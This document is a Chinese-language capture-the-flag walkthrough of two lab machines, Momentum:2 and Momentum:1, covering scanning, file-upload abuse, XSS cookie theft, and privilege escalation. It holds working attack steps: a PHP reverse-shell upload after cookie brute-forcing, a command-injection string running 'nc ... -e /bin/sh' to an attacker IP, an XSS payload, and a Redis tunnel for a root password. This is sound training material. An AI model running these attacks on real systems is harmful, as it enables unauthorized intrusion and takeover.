Momentum 2

Momentum:2

一、基本信息

名称:Momentum:2

发布日期:2021.6.28

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

www-data:/home/athena/user.txt
root:/root/root.txt

难度:中等

三、文件信息

文件名:Momentum2.ova

文件大小:698MB

下载地址:

MD5: 5E837FD87D809C499911B1CB1A257CD9

SHA1: 17FACC18FE6A6979159C4D0A09CC330602E81E68

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum2和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.107 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现五个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.107/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

文件上传漏洞发现

1.访问一下dashboard.html页面,是一个上传页,会将文件传到目录/owls下,而这个目录无法直接上传php文件,只能上传txt文件:

image-

2.在前端js是没有做出文件上出限制的,目录扫描到ajax.php是0kb,可以去查看ajax.php.bak文件,发现规定在cookie中做出了上传限制,则想到BP抓包修改cookie:

image-

image-

ajax.php.bak代码的内容是:当cookie存在,且键名为admin时,是可以上传pdf、php、txt文件的;不过admin需要一个值,代码中已经给出了值,但是在这个值的最后还缺少一位大写的字符;此外,还要使用post方式提交一个参数secure;最后上传成功时会返回一个1

3.使用crunch生成一个最后一位是大写的字符字典,用于等下BP去爆破cookie;并且修改kali自带的webshell,准备上传:

1
2
crunch 1 1 -t , -o pass.txt
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

Burpsuite抓包修改

1.在dashboard.html选择上传php-reverse-shell.php,用BP拦截后,导入Intruder模块,加载刚才生成的字典pass.txt,并添加一个POST数据:

image-

image-

image-
2.开始爆破cookie,发现最后的大写字符是R,来到Repeater模块,添加cookie和post后发送包,在kali开启端口监听,在/owls目录触发webshell:

image-

image-

image-

image-

3.用python构建一个交互式shell,然后在/home/athena目录下可以发现第一个flag,即user.txt:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-

root提权

1.查看同目录下的password-reminder.txt文件,得到一个密码提示,Asterisk是的意思,可以猜测是任意字符,但其实ssh登录尝试一下就是

image-

image-

2.查看当前用户权限,可以以root身份执行cookie-gen.py,查看文件,发现会将输入的值传给seed参数,然后写入到log.txt中,在echo时会执行bash命令:

image-

3.可以直接输入反弹shell给seed,然后kali开启对应端口监听,在/root目录下能得到第二个flag,即root.txt:

1
反弹shell:;nc 192.168.56.102 12345 -e /bin/sh;

image-

image-

Momentum 1

Momentum:1

一、基本信息

名称:Momentum:1

发布日期:2021.4.22

作者:AL1ENUM

系列:Momentum

推特:@AL1ENUM

二、靶机简介

Flags:

root:/root/root.txt

难度:简单

三、文件信息

文件名:Momentum.ova

文件大小:662MB

下载地址:

MD5: 556BEA96FE2CB1506814D1E79F5C5E19

SHA1: 40C918A7EFF2EB3CF1708428A583702A4BFFD96C

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Momentum和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现只开放了22和80端口,访问首页有一些图片:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.106 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,发现四个可见目录,可以去看看:

1
gobuster dir -u http://192.168.56.106 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt,目录扫描

image-

XSS漏洞利用

1.访问192.168.56.106/js,发现有一个main.js,js里有个重定向链接opus-details.php?id=,后面拼接了个参数str,而这个php是主页图片点击后再点击一次的详情介绍:

image-

image-

image-

2.拼接的str字串会被直接打印出来,因为是js下进行构建的,首先想到xss,构造xss的payload爆出cookie:

image-

1
payload:<script>alert(document.cookie)</script>

image-

3.这cookie明显是进行了加密,回到main.js有提示,使用的是aes,进行解密得到很像用户名-密码的形式的字串auxerre-alienum##:

image-

SSH登录,准备提权

1.因为靶机有开放22端口,利用ssh登录,发现用户auxerre的密码就是auxerre-alienum##:

image-

2.接下来我们要使用LinEnum.sh这个工具对靶机进行进一步信息收集,在kali搭建一个http服务,准备上传工具到靶机
(工具地址:https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh):

1
python3 -m http.server 8001,kali开启http服务

image-

1
wget http://192.168.56.102:8001/LinEnum.sh,靶机下载工具(文件在桌面)

image-

3.添加权限,靶机运行LinEnum.sh后,查看输出信息,发现6379端口占用,此端口是数据库redis的默认端口,确认后可以尝试kali登录redis:

1
2
3
chmod +x LinEnum.sh
./LinEnum.sh > 1.txt
cat 1.txt

image-

image-

image-

4.现在我们可以尝试利用ssh远程连接6379端口,然后在kali端登录,这里kali同样使用6379端口:

1
ssh -L 6379:127.0.0.1:6379 auxerre@192.168.56.106

image-

1
redis-cli -h 127.0.0.1 -p 6379

image-

root提权

1.我们可以在数据库内看到一个rootpass键,而键内包含着很像是密码的字串,使用root用户登录,成功提权:

1
2
keys *
get rootpass

image-

2.进行root登录,在/root目录下能找到flag,即root.txt:

image-